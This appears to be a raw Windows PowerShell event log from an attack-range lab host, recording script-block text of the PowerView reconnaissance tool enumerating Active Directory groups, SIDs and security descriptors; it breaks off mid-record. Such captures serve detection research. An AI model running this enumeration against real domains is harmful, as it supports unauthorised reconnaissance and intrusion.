09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024300
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024299
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024297
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024296
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
        if ($_ -ne 'adspath') {
            if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
                # convert all listed sids (i.e. if multiple are listed in sidHistory)
                $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value }
            }
            elseif ($_ -eq 'grouptype') {
                $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
            }
            elseif ($_ -eq 'samaccounttype') {
                $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
            }
            elseif ($_ -eq 'objectguid') {
                # convert the GUID to a string
                $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
            }
            elseif ($_ -eq 'useraccountcontrol') {
                $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
            }
            elseif ($_ -eq 'ntsecuritydescriptor') {
                # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
                $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
                if ($Descriptor.Owner) {
                    $ObjectProperties['Owner'] = $Descriptor.Owner
                }
                if ($Descriptor.Group) {
                    $ObjectProperties['Group'] = $Descriptor.Group
                }
                if ($Descriptor.DiscretionaryAcl) {
                    $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
                }
                if ($Descriptor.SystemAcl) {
                    $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
                }
            }
            elseif ($_ -eq 'accountexpires') {
                if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
                    $ObjectProperties[$_] = "NEVER"
                }
                else {
                    $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
                }
            }
            elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
                # convert timestamps
                if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
                    # if we have a System.__ComObject
                    $Temp = $Properties[$_][0]
                    [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
                    [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
                    $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
                }
                else {
                    # otherwise just a string
                    $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
                }
            }
            elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
                # try to convert misc com objects
                $Prop = $Properties[$_]
                try {
                    $Temp = $Prop[$_][0]
                    [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
                    [Int32]$Low  = $Temp.GetType().InvokeMember('LowPart',  [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
                    $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
                }
                catch {
                    Write-Verbose "[Convert-LDAPProperty] error: $_"
                    $ObjectProperties[$_] = $Prop[$_]
                }
            }
            elseif ($Properties[$_].count -eq 1) {
                $ObjectProperties[$_] = $Properties[$_][0]
            }
            else {
                $ObjectProperties[$_] = $Properties[$_]
            }
        }
    }

ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Path:
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024295
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024294
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{
                    if ($PSBoundParameters['Raw']) {
                        # return raw result objects
                        $Group = $_
                    }
                    else {
                        $Group = Convert-LDAPProperty -Properties $_.Properties
                    }
                    $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
                    $Group
                }

ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Path:
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024292
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024291
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_}

ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Path:
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024290
Keywords=None
Message=Completed invocation of ScriptBlock ID: 08003798-37b5-4cda-9b99-03123a5ca744
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024289
Keywords=None
Message=Started invocation of ScriptBlock ID: 08003798-37b5-4cda-9b99-03123a5ca744
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024288
Keywords=None
Message=Creating Scriptblock text (1 of 1):
{$_}

ScriptBlock ID: 08003798-37b5-4cda-9b99-03123a5ca744
Path:
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024287
Keywords=None
Message=Started invocation of ScriptBlock ID: 41f8e104-cbd0-4b5d-8ca0-4f56db5d2869
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2024286
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-DomainGroup

ScriptBlock ID: 41f8e104-cbd0-4b5d-8ca0-4f56db5d2869
Path:
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024284
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024282
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024281
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024280
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024278
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024276
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024274
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2024273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2024272
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050908
Keywords=None
Message=Started invocation of ScriptBlock ID: e961f72a-85ab-4191-bc40-ac9c3afaebf0
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050907
Keywords=None
Message=Started invocation of ScriptBlock ID: 9e63a023-5d0c-4272-bb10-075e68f84cf1
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050905
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050904
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050903
Keywords=None
Message=Started invocation of ScriptBlock ID: 5f2a070f-30fe-41c4-a783-e46202d37577
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050902
Keywords=None
Message=Completed invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050901
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050900
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050899
Keywords=None
Message=Started invocation of ScriptBlock ID: 642ed007-c5d4-4d5c-9014-4f4fa368ff56
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050898
Keywords=None
Message=Started invocation of ScriptBlock ID: 9217efeb-7d82-4c7b-a9df-8144b1ab2909
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 41f8e104-cbd0-4b5d-8ca0-4f56db5d2869
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050896
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
